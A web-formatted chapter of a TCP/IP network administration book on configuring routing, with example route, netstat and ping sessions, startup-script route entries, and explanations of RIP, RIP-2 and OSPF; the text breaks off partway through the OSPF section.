6.4 Installing SLIP | Book Index | 7. Configuring Routing


[Chapter 7] Configuring Routing

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 6.5 Summary Chapter 7 Next: 7.2 The Minimal Routing Table

7. Configuring Routing

Contents:
Common Routing Configurations
The Minimal Routing Table
Building a Static Routing Table
Interior Routing Protocols
Exterior Routing Protocols
Gateway Routing Daemon
Configuring gated
Summary

Routing is the glue that binds the Internet together. Without it, TCP/IP traffic is limited to a single physical network. Routing allows traffic from your local network to reach its destination somewhere else in the world - perhaps after passing through many intermediate networks.

The important role of routing and the complex interconnection of Internet networks make the design of routing protocols a major challenge to network software developers. Consequently, most discussions of routing concern protocol design. Very little is written about the important task of properly configuring routing protocols. However, more day-to-day problems are caused by improperly configured routers than are caused by improperly designed routing algorithms. As system administrators, we need to ensure that the routing on our systems is properly configured. This is the task we tackle in this chapter.

7.1 Common Routing Configurations

First, we must make a distinction between routing and routing protocols. All systems route data, but not all systems run routing protocols. Routing is the act of forwarding datagrams based on the information contained in the routing table. Routing protocols are programs that exchange the information used to build routing tables.

A network's routing configuration does not always require a routing protocol. In situations where the routing information does not change - for example, when there is only one possible route, the system administrator usually builds the routing table manually. Some networks have no access to any other TCP/IP networks, and therefore do not require that the system administrator build the routing table at all. The three most common routing configurations are: [1]

[1] Chapter 4, Getting Started , presents guidelines for choosing the correct routing configuration for your network.

Minimal routing

A network completely isolated from all other TCP/IP networks requires only minimal routing. A minimal routing table usually is built by ifconfig when the network interface is configured. [2] If your network doesn't have direct access to other TCP/IP networks, and if you are not using subnetting, this may be the only routing table you'll require.

[2] Linux is an exception. ifconfig does not create routing table entries on a Linux system.

Static routing

A network with a limited number of gateways to other TCP/IP networks can be configured with static routing. When a network has only one gateway, a static route is the best choice. A static routing table is constructed manually by the system administrator using the route command. Static routing tables do not adjust to network changes, so they work best where routes do not change.

Dynamic routing

A network with more than one possible route to the same destination should use dynamic routing. A dynamic routing table is built from the information exchanged by routing protocols. The protocols are designed to distribute information that dynamically adjusts routes to reflect changing network conditions. Routing protocols handle complex routing situations more quickly and accurately than the system administrator can. Routing protocols are designed not only to switch to a backup route when the primary route becomes inoperable; they are also designed to decide which is the "best" route to a destination. On any network where there are multiple paths to the same destination, a routing protocol should be used.

Routes are built automatically by ifconfig, manually by the system administrator, or dynamically by routing protocols. But no matter how routes are entered, they all end up in the routing table.

Previous: 6.5 Summary | TCP/IP Network Administration | Next: 7.2 The Minimal Routing Table
6.5 Summary | Book Index | 7.2 The Minimal Routing Table


[Chapter 7] 7.2 The Minimal Routing Table

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.1 Common Routing Configurations Chapter 7
Configuring Routing 		Next: 7.3 Building a Static Routing Table

7.2 The Minimal Routing Table

Let's look at the contents of the routing table constructed by ifconfig when peanut's network interfaces were configured:

% netstat -rn
Routing tables

Destination       Gateway          Flags    Refcnt Use      Interface
127.0.0.1         127.0.0.1        UH       1      132      lo0
172.16.12.0       172.16.12.2      U        26     49041    1e0

The first entry is the loopback route to localhost created when lo0 was configured. The other entry is the route to network 172.16.12.0 through interface le0. Address 172.16.12.2 is not a remote gateway address. It is the address assigned to the le0 interface on peanut.

Look at the Flags field for each entry. Both entries have the U (up) flag set, indicating that they are ready to be used, but neither entry has the G (gateway) flag set. The G flag indicates that an external gateway is used. The G flag is not set because both of these routes are direct routes through local interfaces, not through external gateways.

The loopback route also has the H (host) flag set. This indicates that only one host can be reached through this route. The meaning of this flag becomes clear when you look at the Destination field for the loopback entry. It shows that the destination is a host address, not a network address. The loopback network address is 127.0.0.0. The destination address shown (127.0.0.1) is the address of localhost, an individual host. This particular host route is in most routing tables.

Although every routing table has this host-specific route, most routes lead to networks. One reason network routes are used is to reduce the size of the routing table. An organization may have only one network but hundreds of hosts. The Internet has thousands of networks but millions of hosts. A routing table with a route for every host would be unmanageable.

Our sample table contains only one network route, 172.16.12.0. Therefore, peanut can communicate only with hosts located on that network. The limited capability of this routing table is easily verified with the ping command. ping uses the ICMP Echo Message to force a remote host to echo a packet back to the local host. If packets can travel to and from a remote host, it indicates that the two hosts can successfully communicate.

To check the routing table on peanut, first ping another host on the local network:

% ping -s almond
PING almond.nuts.com: 56 data bytes
64 bytes from almond.nuts.com (172.16.12.1): icmp_seq=0. time=11. ms
64 bytes from almond.nuts.com (172.16.12.1): icmp_seq=1. time=10. ms
^C
----almond.nuts.com PING Statistics----
2 packets transmitted, 2 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 10/10/11

ping displays a line of output for each ICMP ECHO_RESPONSE received. [3] When ping is interrupted, it displays some summary statistics. All of this indicates successful communication with almond. But if we check a host that is not on nuts-net, say a host at O'Reilly, the results are different.

[3] Sun's ping would only display the message "almond is alive" if the -s option was not used. Some other ping implementations do not require the -s option.

% ping 207.25.98.2
sendto: Network is unreachable

Here the message "sendto: Network is unreachable" indicates that peanut does not know how to send data to the network that host 207.25.98.2 is on. There are only two routes in the peanut routing table and neither is a route to 207.25.98.0.

Even other subnets on nuts-net cannot be reached using this routing table. To demonstrate this, ping a host on another subnet. For example:

% ping 172.16.1.2
sendto: Network is unreachable

These ping tests show that the routing table created by ifconfig allows communication only with other hosts on the local network. If your network does not require access to any other TCP/IP networks, this may be all you need. However, if it does require access to other networks, you must add more routes to the routing table.

Previous: 7.1 Common Routing Configurations | TCP/IP Network Administration | Next: 7.3 Building a Static Routing Table
7.1 Common Routing Configurations | Book Index | 7.3 Building a Static Routing Table


[Chapter 7] 7.3 Building a Static Routing Table

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.2 The Minimal Routing Table Chapter 7
Configuring Routing 		Next: 7.4 Interior Routing Protocols

7.3 Building a Static Routing Table

As we have seen, the minimal routing table works to reach hosts only on the directly connected physical networks. To reach remote hosts, routes through external gateways must be added to the routing table. One way to do this is by constructing a static routing table with route commands.

Use the UNIX route command to add or delete entries manually in the routing table. For example, to add the route 207.25.98.0 to a Solaris system's routing table, enter:

# route add 207.25.98.0 172.16.12.1 1
add net 207.25.98.0: gateway almond

The first argument after the route command in this sample is the keyword add. The first keyword on a route command line is either add or delete, telling route either to add a new route or delete an existing one. There is no default; if neither keyword is used, route displays the routing table.

The next value is the destination address, which is the address reached via this route. The destination address can be specified as an IP address, a network name from the /etc/networks file, a host name from the /etc/hosts file, or the keyword default. Because most routes are added early in the startup process, numeric IP addresses are used more than names. This is done so that the routing configuration is not dependent on the state of the name server software. Always use the complete numeric address (all four bytes). route expands the address if it contains less than four bytes, and the expanded address may not be what you intended. [4]

[4] Some implementations of route expand "26" to 0.0.0.26, even though "26" could mean Milnet (26.0.0.0).

If the keyword default is used for the destination address, route creates a default route. [5] The default route is used whenever there is no specific route to a destination, and it is often the only route you need. If your network has only one gateway, use a default route to direct all traffic bound for remote networks through that gateway.

[5] The network address associated with the default route is 0.0.0.0.

Next on the route command line is the gateway address. [6] This is the IP address of the external gateway through which data is sent to the destination address. The address must be the address of a gateway on a directly connected network. TCP/IP routes specify the next-hop in the path to a remote destination. That next-hop must be directly accessible to the local host; therefore, it must be on a directly connected network.

[6] The syntax varies slightly between systems. Linux precedes the gateway address with the keyword gw. Check your system's documentation for the details.

The last argument on the command line is the routing metric. The metric argument is not used when routes are deleted, but many systems require it when a route is added. Despite being required, route only uses the metric to decide if this is a route through a directly attached interface or a route through an external gateway. If the metric is 0, the route is installed as a route through a local interface, and the G flag, which we saw in the netstat -i display, is not set. If the metric value is greater than 0, the route is installed with the G flag set, and the gateway address is assumed to be the address of an external gateway. Static routing makes no other use of the metric. Dynamic routing is required to make real use of varying metric values.

7.3.1 Adding Static Routes

As an example, let's configure static routing on the imaginary workstation peanut. Figure 7.1 shows the subnet 172.16.12.0. There are two gateways on this subnet, almond and pecan. almond is the gateway to thousands of networks on the Internet; pecan provides access to the other subnets on nuts-net. We'll use almond as our default gateway because it is used by thousands of routes. The smaller number of routes through pecan can easily be entered individually. The number of routes through a gateway, not the amount of traffic it handles, decides which gateway to select as the default. Even if most of peanut's network traffic goes through pecan to other hosts on nuts-net, the default gateway should be almond.

Figure 7.1: Routing on a subnet

To install the default route on peanut, we enter:

# route -n add default 172.16.12.1 1
add net default: gateway 172.16.12.1

The destination is default, and the gateway address (172.16.12.1) is almond's address. Now almond is peanut's default gateway. The -n option is not required. It just tells route to display numeric addresses in its informational messages. When you add route commands to a startup file, use the -n option to prevent route from wasting time querying name server software that may not be running.

After installing the default route, examine the routing table to make sure the route has been added:

% netstat -rn
Routing tables
Destination     Gateway        Flags    Refcnt Use       Interface
127.0.0.1       127.0.0.1      UH       1      132       lo0
default         172.16.12.1    UG       0      0         le0
172.16.12.0     172.16.12.2     U       26     49041     le0

Try ping again to see whether peanut can now communicate with remote hosts. If we're lucky, [7] the remote host responds and we see:

[7] It is possible that the remote host is down. If it is, ping receives no answer. Don't give up; try another host.

% ping 207.25.98.2
PING 207.25.98.2: 56 data bytes
64 bytes from ruby.ora.com (207.25.98.2): icmp_seq=0. time=110. ms
64 bytes from ruby.ora.com (207.25.98.2): icmp_seq=1. time=100. ms
^C
----207.25.98.2 PING Statistics----
2 packets transmitted, 2 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 100/105/110

This display indicates successful communication with the remote host, which means that we now have a good route to hosts on the Internet.

However, we still haven't installed routes to the rest of nuts-net. If we ping a host on another subnet, something interesting happens:

% ping 172.16.1.2
PING 172.16.1.2: 56 data bytes
ICMP Host redirect from gateway almond.nuts.com (172.16.12.1)
 to pecan.nuts.com (172.16.12.3) for filbert.nuts.com (172.16.1.2)
64 bytes from filbert.nuts.com (172.16.1.2): icmp_seq=1. time=30. ms
^C
----172.16.1.2 PING Statistics----
1 packets transmitted, 1 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 30/30/30

peanut believes that all destinations are reachable through its default route. Therefore, even data destined for the other subnets is sent to almond. If peanut sends data to almond that should go through pecan, almond sends an ICMP Redirect to peanut telling it to use pecan. (See Chapter 1, Overview of TCP/IP, for a description of the ICMP Redirect Message.) ping shows the ICMP Redirect in action. netstat shows the effect the redirect has on the routing table:

% netstat -nr
Routing tables
Destination     Gateway        Flags    Refcnt Use        Interface
127.0.0.1       127.0.0.1      UH       1      1604       lo0
172.16.1.2      172.16.12.3    UGHD     0      514        le0
default         172.16.12.1    UG       3      373964     le0
172.16.12.0     172.16.12.1    U        31     686547     le0

The route with the D flag set was installed by the ICMP Redirect.

Some network managers take advantage of ICMP Redirects when designing a network. All hosts are configured with a default route, even those on networks with more than one gateway. The gateways exchange routing information through routing protocols and redirect hosts to the best gateway for a specific route. This type of routing, which is dependent on ICMP Redirects, became popular because of personal computers (PCs). Many PCs cannot run a routing protocol; some do not have a route command and are limited to a single default route. Clearly, ICMP Redirects are needed to support these clients. Also, this type of routing is simple to configure and well suited for implementation through a configuration server, as the same default route is used on every host. For these reasons, some network managers encourage repeated ICMP Redirects.

Other network administrators prefer to avoid ICMP Redirects and to maintain direct control over the contents of the routing table. To avoid redirects, specific routes can be installed for each subnet, using individual route statements:

# route -n add 172.16.1.0 172.16.12.3 1
add net 172.16.1.0: gateway 172.16.12.3
# route -n add 172.16.6.0 172.16.12.3 1
add net 172.16.6.0: gateway 172.16.12.3
# route -n add 172.16.3.0 172.16.12.3 1
add net 172.16.3.0: gateway 172.16.12.3
# route -n add 172.16.9.0 172.16.12.3 1
add net 172.16.9.0: gateway 172.16.12.3

netstat shows what the completed routing table looks like. peanut is directly connected only to 172.16.12.0, so all gateways in its routing table have addresses that begin with 172.16.12. The finished routing table is shown below.

% netstat -rn
Routing tables
Destination          Gateway          Flags    Refcnt Use Interface
127.0.0.1            127.0.0.1        UH       1      132       lo0
172.16.12.0          172.16.12.2      U        26     49041     le0
172.16.1.3           172.16.12.3      UGHD     1      514       le0
default              172.16.12.1      UG       0      0         le0
172.16.1.0           172.16.12.3      UG       1      4904      le0
172.16.6.0           172.16.12.3      UG       0      0         le0
172.16.3.0           172.16.12.3      UG       0      0         le0
172.16.9.0           172.16.12.3      UG       0      0         le0

The routing table we have constructed uses the default route (through almond) to reach external networks, and specific routes (through pecan) to reach other subnets within nuts-net. Rerunning the ping tests produces consistently successful results. However, if any subnets are added to the network, the routes to these new subnets must be manually added to the routing table. Additionally, if the system is rebooted, all static routing table entries are lost. Therefore, to use static routing, you must ensure that the routes are re-installed each time your system boots.

7.3.1.1 Installing static routes at startup

If you decide to use static routing, you need to make two modifications to your startup files:

  1. Add the desired route statements to a startup file.

  2. Remove any statements from the startup file that run a routing protocol.

Linux provides an interesting example, because it requires static routes to build the minimal routing table. The Linux implementation of ifconfig doesn't modify the routing table when a new interface is configured. The route for a new interface is explicitly added with a route command. These "interface routes" are stored in a startup script. On our sample Slackware Linux system, the routes are found in /etc/rc.d/rc.inet1: [8]

[8] The actual route statements in rc.inet1 use script variables. We changed these to addresses for the sake of clarity.

/sbin/route add -net 127.0.0.0
/sbin/route add -net 172.16.5.0 netmask 255.255.255.0

The first statement installs the route for the loopback interface. Note the abbreviated syntax of this command: it specifies a destination but no gateway. This is because Linux has a special syntax just for assigning a route to an interface. We could have written the command as:

/sbin/route add -net 127.0.0.0 dev lo0

If dev is not specified on the command line, the route command determines the correct interface from the destination address.

The second statement from the /etc/rc.d/rc.inet1 script installs the route for the Ethernet interface. This statement includes a subnet mask. If none was provided, it would default to 255.255.0.0, which is the standard for the class B address 172.16.0.0.

Installing routes for directly connected interfaces is specific to Linux. As another more general example, let's see how to add static routing to the startup script on a Solaris system. Before making changes to your real system, check your system's documentation. You may need to modify a different boot script, and the execution path of the routing daemon may be different. Only the documentation can provide the exact details you need.

On a Solaris system, edit /etc/init.d/inetinit to add the route statements:

route -n add default 172.16.12.1 1 > /dev/console
route -n add 172.16.1.0 172.16.12.3 1 > /dev/console
route -n add 172.16.6.0 172.16.12.3 1 > /dev/console
route -n add 172.16.3.0 172.16.12.3 1 > /dev/console
route -n add 172.16.9.0 172.16.12.3 1 > /dev/console

Next, check whether or not the script starts a routing protocol. If it does, comment out the lines that start it. You don't want a routing protocol running when you are using static routing. On our Solaris sample system, the routing software is only started if the system has more than one network interface (i.e., is a router) or the /etc/gateways file has been created. (More on this file later.) Neither of these things is true. Therefore the routing daemon won't be run by the startup process and we don't have to do anything except add the route statements.

Although the startup filename may be different on your system, the procedure should be basically the same. These simple steps are all you need to set up static routing. The problem with static routing is not setting it up, but maintaining it, if you have a changeable networking environment. Routing protocols are flexible enough to handle simple and complex routing environments. That is why some startup procedures run routing protocols by default. However, most UNIX systems need only a static default route. Routing protocals are usually needed only by routers.

Previous: 7.2 The Minimal Routing Table | TCP/IP Network Administration | Next: 7.4 Interior Routing Protocols
7.2 The Minimal Routing Table | Book Index | 7.4 Interior Routing Protocols


[Chapter 7] 7.4 Interior Routing Protocols

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 7.3 Building a Static Routing Table Chapter 7
Configuring Routing 		Next: 7.5 Exterior Routing Protocols

7.4 Interior Routing Protocols

Routing protocols are divided into two general groups: interior and exterior protocols. An interior protocol is a routing protocol used inside - interior to - an independent network system. In TCP/IP terminology, these independent network systems are called autonomous systems. [9] Within an autonomous system (AS), routing information is exchanged using an interior protocol chosen by the autonomous system's administration.

[9] Autonomous systems are described in Chapter 2, Delivering the Data.

All interior routing protocols perform the same basic functions. They determine the "best" route to each destination, and they distribute routing information among the systems on a network. How they perform these functions, in particular, how they decide which routes are best, is what makes routing protocols different from each other. There are several interior protocols:

  • The Routing Information Protocol (RIP) is the interior protocol most commonly used on UNIX systems. RIP is included as part of the UNIX software delivered with most systems. It is adequate for local area networks and is simple to configure. RIP selects the route with the lowest "hop count" (metric) as the best route. The RIP hop count represents the number of gateways through which data must pass to reach its destination. RIP assumes that the best route is the one that uses the fewest gateways. This approach to route choice is called a distance-vector algorithm.

  • Hello is a protocol that uses delay as the deciding factor when choosing the best route. Delay is the length of time it takes a datagram to make the round trip between its source and destination. A Hello packet contains a time stamp indicating when it was sent. When the packet arrives at its destination, the receiving system subtracts the time stamp from the current time, to estimate how long it took the packet to arrive. Hello is not widely used. It was the interior protocol of the original 56 kbps NSFNET backbone and has had very little use otherwise.

  • Intermediate System to Intermediate System (IS-IS) is an interior routing protocol from the OSI protocol suite. It is a Shortest Path First (SPF) link-state protocol. It was the interior routing protocol used on the T1 NSFNET backbone, and it is still used by some large service providers.

  • Open Shortest Path First (OSPF) is another link-state protocol developed for TCP/IP. It is suitable for very large networks and provides several advantages over RIP.

Of these protocols, we will discuss RIP and OSPF in detail. OSPF is widely used on routers. RIP is widely used on UNIX systems. We will start the discussion with RIP.

7.4.1 Routing Information Protocol

As delivered with most UNIX systems, Routing Information Protocol (RIP) is run by the routing daemon routed (pronounced "route" "d"). When routed starts, it issues a request for routing updates and then listens for responses to its request. When a system configured to supply RIP information hears the request, it responds with an update packet based on the information in its routing table. The update packet contains the destination addresses from the routing table and the routing metric associated with each destination. Update packets are issued in response to requests, as well as periodically to keep routing information accurate.

To build the routing table, routed uses the information in the update packets. If the routing update contains a route to a destination that does not exist in the local routing table, the new route is added. If the update describes a route whose destination is already in the local table, the new route is used only if it has a lower cost. The cost of a route is determined by adding the cost of reaching the gateway that sent the update to the metric contained in the RIP update packet. If the total metric is less than the metric of the current route, the new route is used.

RIP also deletes routes from the routing table. It accomplishes this in two ways. First, if the gateway to a destination says the cost of the route is greater than 15, the route is deleted. Second, RIP assumes that a gateway that doesn't send updates is dead. All routes through a gateway are deleted if no updates are received from that gateway for a specified time period. In general, RIP issues routing updates every 30 seconds. In many implementations, if a gateway does not issue routing updates for 180 seconds, all routes through that gateway are deleted from the routing table.

7.4.1.1 Running RIP with routed

To run RIP using the routing daemon (routed), [10] enter the following command:

[10] On some systems the routing daemon is in.routed.

# routed

The routed statement is often used without any command-line arguments, but you may want to use the -q option. The -q option prevents routed from advertising routes. It just listens to the routes advertised by other systems. If your computer is not a gateway, you should probably use the -q option.

In the section on static routing we commented out the routed statement found in a startup file. If that statement is in your startup file, no other action is required to run RIP; just boot your system and RIP will run. Otherwise, add the routed command to your startup.

routed reads /etc/gateways at startup and adds its information to the routing table. routed can build a functioning routing table simply by using the RIP updates received from the RIP suppliers. However, it is sometimes useful to supplement this information with, for example, an initial default route or information about a gateway that does not announce its routes. The /etc/gateways file stores this additional routing information.

The most common use of the /etc/gateways file is to define an active default route, so we'll use that as an example. This one example is sufficient because all entries in the /etc/gateways file have the same basic format. On peanut, the following entry specifies almond as the default gateway:

net 0.0.0.0 gateway 172.16.12.1 metric 1 active

The entry starts with the keyword net. All entries start with the keyword net or the keyword host to indicate whether the address that follows is a network address or a host address. The destination address 0.0.0.0 is the address used for the default route. In the route command we used the keyword default to indicate this route, but in /etc/gateways the default route is indicated by network address 0.0.0.0.

Next is the keyword gateway followed by the gateway's IP address. In this case it is the address of almond (172.16.12.1).

Then comes the keyword metric followed by a numeric metric value. The value, which is called the metric, is the cost of the route. The metric was almost meaningless when used with static routing. Now that we are running RIP, the metric is actually used to make routing decisions. The RIP metric represents the number of gateways through which data must pass to reach its final destination. But as we saw with ifconfig, the metric is really an arbitrary value used by the administrator to prefer one route over another. (The system administrator is free to assign any metric value.) However, it is useful to vary the metric only if you have more than one route to the same destination. With only one gateway to the Internet, the correct metric to use for almond is 1.

All /etc/gateways entries end with either the keyword passive or the keyword active. "Passive" means the gateway listed in the entry is not required to provide RIP updates. Use passive to prevent RIP from deleting the route if no updates are expected from the gateway. A passive route is placed in the routing table and kept there as long as the system is up. In effect, it becomes a permanent static route.

The keyword active, on the other hand, creates a route that can be updated by RIP. An active gateway is expected to supply routing information and will be removed from the routing table if, over a period of time, it does not provide routing updates. Active routes are used to "prime the pump" during the RIP startup phase, with the expectation that the routes will be updated by RIP when the protocol is up and running.

Our sample entry ends with the keyword active, which means that this default route will be deleted if no routing updates are received from almond. Default routes are convenient; this is especially true when you use static routing. But when you use dynamic routing, default routes should be used with caution, especially if you have multiple gateways that can reach the same destination. A passive default route prevents the routing protocol from dynamically updating the route to reflect changing network conditions. Use an active default route that can be updated by the routing protocol.

RIP is easy to implement and simple to configure. Perfect! Well, not quite. RIP has three serious shortcomings:

Limited network diameter

The longest RIP route is 15 hops. A RIP router cannot maintain a complete routing table for a network that has destinations more than 15 hops away. The hop count cannot be increased because of the second shortcoming.

Slow convergence

Deleting a bad route sometimes requires the exchange of multiple routing update packets until the route's cost reaches 16. This is called "counting to infinity," because RIP keeps incrementing the route's cost until it becomes greater than the largest valid RIP metric. (In this case, 16 is infinity.) Additionally, RIP may wait 180 seconds before deleting the invalid routes. In network-speak, we say that these conditions delay the "convergence of routing"; i.e., it takes a long time for the routing table to reflect the current state of the network.

Classful routing

RIP interprets all addresses using the class rules described in Chapter 2. For RIP all addresses are class A, B, or C, which makes RIP incompatible with CIDR supernets and incapable of supporting variable-length subnets.

Nothing can be done to change the limited network diameter. A small metric is essential to reduce the impact of counting to infinity. However, limited network size is the least important of RIP's shortcomings. The real work of improving RIP concentrates on the other two problems, slow convergence and classful routing.

Features have been added to RIP to address slow convergence. Before discussing them we must understand how the "count-to-infinity" problem occurs. Figure 7.2 illustrates a network where a counting-to-infinity problem might happen.

Figure 7.2: Sample network

Figure 7.2 shows that almond reaches subnet 3 through pecan and then through filbert. Subnet 3 is 2 hops away from almond and 1 hop away from pecan. Therefore pecan advertises a cost of 1 for subnet 3 and almond advertises a cost of 2, and traffic continues to be routed through pecan. That is, until something goes wrong. If filbert crashes, pecan waits for an update from filbert for 180 seconds. While waiting, pecan continues to send updates to almond that keep the route to subnet 3 in almond's routing table. When pecan's timer finally expires, it removes all routes through filbert from its routing table, including the route to subnet 3. It then receives an update from almond advertising that almond is 2 hops away from subnet 3. pecan installs this route and announces that it is 3 hops away from subnet 3. almond receives this update, installs the route, and announces that it is 4 hops away from subnet 3. Things continue on in this manner until the cost of the route to subnet 3 reaches 16 in both routing tables. If the update interval is 30 seconds, this could take a long time!

Split horizon and poison reverse are two features that attempt to avoid counting to infinity. Here's how:

Split horizon

With this feature, a router does not advertise routes on the link from which those routes were obtained. This would solve the count-to-infinity problem described above. Using the split horizon rule, almond would not announce the route to subnet 3 on subnet 12 because it learned that route from the updates it received from pecan on subnet 12. While this feature works for the example described above, it does not work for all count-to-infinity configurations. (More on this later.)

Poison reverse

This feature is an enhancement of split horizon. It uses the same idea: "Don't advertise routes on the link from which those routes were obtained." But it adds a positive action to that essentially negative rule. Poison reverse says that a router should advertise an infinite distance for routes on this link. With poison reverse, almond would advertise subnet 3 with a cost of 16 to all systems on subnet 12. The cost of 16 means that subnet 3 cannot be reached through almond.

Split horizon and poison reverse solve the problem described above. But what happens if almond crashes? Refer to Figure 7.2 With split horizon, salted and roasted do not advertise to almond the route to subnet 12 because they learned the route from almond. They do, however, advertise the route to subnet 12 to each other. When almond goes down, salted and roasted perform their own count to infinity before they remove the route to subnet 12. Triggered updates address this problem.

Triggered updates are a big help. Instead of waiting the normal 30-second update interval, a triggered update is sent immediately. Therefore, when an upstream router crashes or a local link goes down, immediately after the router updates its local routing table, it sends the changes to its neighbors. Without triggered updates, counting to infinity can take almost 8 minutes! With triggered updates, neighbors are informed in a few seconds. Triggered updates also use network bandwidth efficiently. They don't include the full routing table; they include only the routes that have changed.

Triggered updates take positive action to eliminate bad routes. Using triggered updates, a router advertises the routes deleted from its routing table with a infinite cost to force downstream routers to also remove them. Again, look at Figure 7.2 If almond crashes, roasted and salted wait 180 seconds and remove the routes to subnets 1, 3, and 12 from their routing tables. They then send each other triggered updates with a metric of 16 for subnets 1, 3, and 12. Thus they tell each other that they cannot reach these networks and no count to infinity occurs. Split horizon, poison reverse, and triggered updates go a long way to eliminating counting to infinity.

It is the final shortcoming - the fact that RIP is incompatible with CIDR supernets and variable-length subnets - that caused the RIP protocol to be moved to "historical" status in 1996. RIP is not compatible with current and future plans for the TCP/IP protocol stack. A new version of RIP had to be created to address this final problem.

7.4.2 RIP Version 2

RIP Version 2 (RIP-2), defined in RFC 1723, is a new version of RIP. It is not a completely new protocol. It simply defines extensions to the RIP packet format. RIP-2 adds a network mask and a next hop address to the destination address and metric found in the original RIP packet.

The network mask frees the RIP-2 router from the limitation of interpreting addresses based on strict address class rules. The mask is applied to the destination address to determine how the address should be interpreted. Using the mask, RIP-2 routers support variable-length subnets and CIDR supernets.

The next hop address is the IP address of the gateway that handles the route. If the address is 0.0.0.0, the source of the update packet is the gateway for the route. The next hop route permits a RIP-2 supplier to provide routing information about gateways that do not speak RIP-2. Its function is similar to an ICMP Redirect, pointing to the best gateway for a route and eliminating extra routing hops.

RIP-2 adds other new features to RIP. It transmits updates via the multicast address 224.0.0.9 to reduce the load on systems that are not capable of processing a RIP-2 packet. RIP-2 also introduces a packet authentication scheme to reduce the possibility of accepting erroneous updates from misconfigured systems.

Despite these changes, RIP-2 is compatible with RIP. The original RIP specification allowed for future versions of RIP. RIP has a version number in the packet header, and it had several empty fields for extending the packet. The new values used by RIP-2 did not require any changes to the structure of the packet. The new values are simply placed in the empty fields that the original protocol reserved for future use. Properly implemented RIP routers can receive RIP-2 packets and extract the data that they need from the packet without becoming confused by the new data.

Split horizon, poison reverse, triggered updates, and RIP-2 eliminate most of the problems with the original RIP protocol. But RIP-2 is still a distance vector protocol. There are other, newer routing technologies that are considered superior for large networks. In particular, link-state routing protocols are favored because they provide rapid routing convergence and reduce the possibility of routing loops.

7.4.3 Open Shortest Path First

Open Shortest Path First (OSPF), defined by RFC 2178, is a link-state protocol. As such, it is very different from RIP. A router running RIP shares information about the entire network with its neighbors. Conversely, a router running OSPF shares information about its neighbors with the entire network. The "entire network" means, at most, a single autonomous system. RIP doesn't try to learn about the entire Internet, and OSPF doesn't try to advertise to the entire Internet. That's not their job. These are interior routing protocols; and so their job is to construct the routing inside of an autonomous system. OSPF further refines this task by defining a hierarchy of routing areas within an autonomous system:

Areas

An area is an arbitrary collection of interconnected networks, hosts and routers. Areas exchange routing information with other areas within the autonomous system through area border routers.

Backbone

A backbone is a special area that interconnects all of the other areas within an autonomous system. Every area must connect to the backbone, because the backbone is responsible for distributing routing information between the areas.

Stub area

A stub area has only one area border router, which means that there is only one route out of the area. In this case, the area border router does not need to advertise external routes to the other routers within the stub area. It can simply advertise itself as the default route.

Only a large autonomous system needs to be subdivided into areas. The sample network shown in Figure 7.2 is small and would not need to be divided. We can, however, use it as an example to illustrate the different areas. We could divide this autonomous system into any areas we wish. Assume we divide it into three areas: area 1 contains subnet 3; area 2 contains subnet 1 and subnet 12; and area 3 contains subnet 25, subnet 36, and the PPP links. Furthermore, we could define area 1 as a stub area because filbert is that area's only area border router. We also could define area 2 as the backbone area because it interconnects the other two areas and all routing information between areas 1 and 3 must be distributed by area 2. Area 2 contains two area border routers, almond and filbert, and one interior router, pecan. Area 3 contains three routers: almond, roasted, and salted.

Clearly OSPF provides lots of flexibility for subdividing an autonomous system. But why is it necessary? One problem for a link-state protocol is the large quantity of data that can be collected in the link-state database and the amount of time it can take to calculate the routes from that data. A look at the protocol shows why this is true.

Every OSPF router builds a directed graph of the entire network using the Dijkstra Shortest Path First (SPF) algorithm. A directed graph is a map of the network from the perspective of the router, that is, the root of the graph is the router. The graph is built from the link-state database, which includes information about every router on the network and all the neighbors of every router. The link-state database for the autonomous system in Figure 7.2 contains 5 routers and 10 neighbors: filbert has 1 neighbor, pecan; pecan has 2 neighbors, filbert and almond; almond has 3 neighbors, pecan, salted, and roasted; salted has 2 neighbors, almond and roasted; and roasted has 2 neighbors, salted and almond. Figure 7.3 shows the graph of this autonomous system from the perspective of filbert. The Dijkstra algorithm builds the map in this manner:

Figure 7.3: A network graph

  1. Install the local system as the root of the map with a cost of 0.

  2. Locate the neighbors of the system just installed and add them to the map. The cost of reaching the neighbors is calculated as the sum of the cost to reach the system just installed plus the cost it advertises for reaching each neighbor. For example: assume that almond advertises a cost of 20 for salted and that the cost of reaching almond is 15. Then the cost for salted in filbert's map is 35.

  3. Walk through the map and select the lowest-cost path for each destination. For example, when salted is added to the map, its neighbors include roasted. The path to roasted through salted is temporarily added to the map. In this third phase of the algorithm, the cost of reaching roasted through almond is compared to the cost of reaching it through salted. The lowest-cost path is selected. Figure 7.3 shows the deleted paths in dotted lines. Steps 2 and 3 of the algorithm are repeated for every system in the link-state database.

The information in the link-state database is gathered and distributed in a simple and efficient manner. An OSPF router discovers its neighbors through the use of Hello packets. [11] It sends Hello packets and listens for Hello packets from adjacent routers. The Hello packet identifies the local router and lists the adjacent routers from which it has received packets. When a router receives a Hello packet that lists it as an adjacent router, it knows it has found a neighbor. It knows this because it can hear packets from that neighbor and, because the neighbor lists it as an adjacent router, the neighbor must be able to hear packets from it. The newly discovered neighbor is added to the local system's neighbor list.

[11] Don't confuse Hello packets with the Hello protocol. These are OSPF Hello packets.

The OSPF router then advertises all of its neighbors. It does this by flooding a Link-State Advertisement (LSA) to the entire network. The LSA contains the address of every neighbor and the cost of reaching that neighbor from the local system. Flooding means that the router sends the LSA out of every interface and that every router that receives the LSA sends it out of every interface except the one from which it was received. To avoid flooding duplicate LSAs, the routers store a copy of the LSAs they receive and discard duplicates.

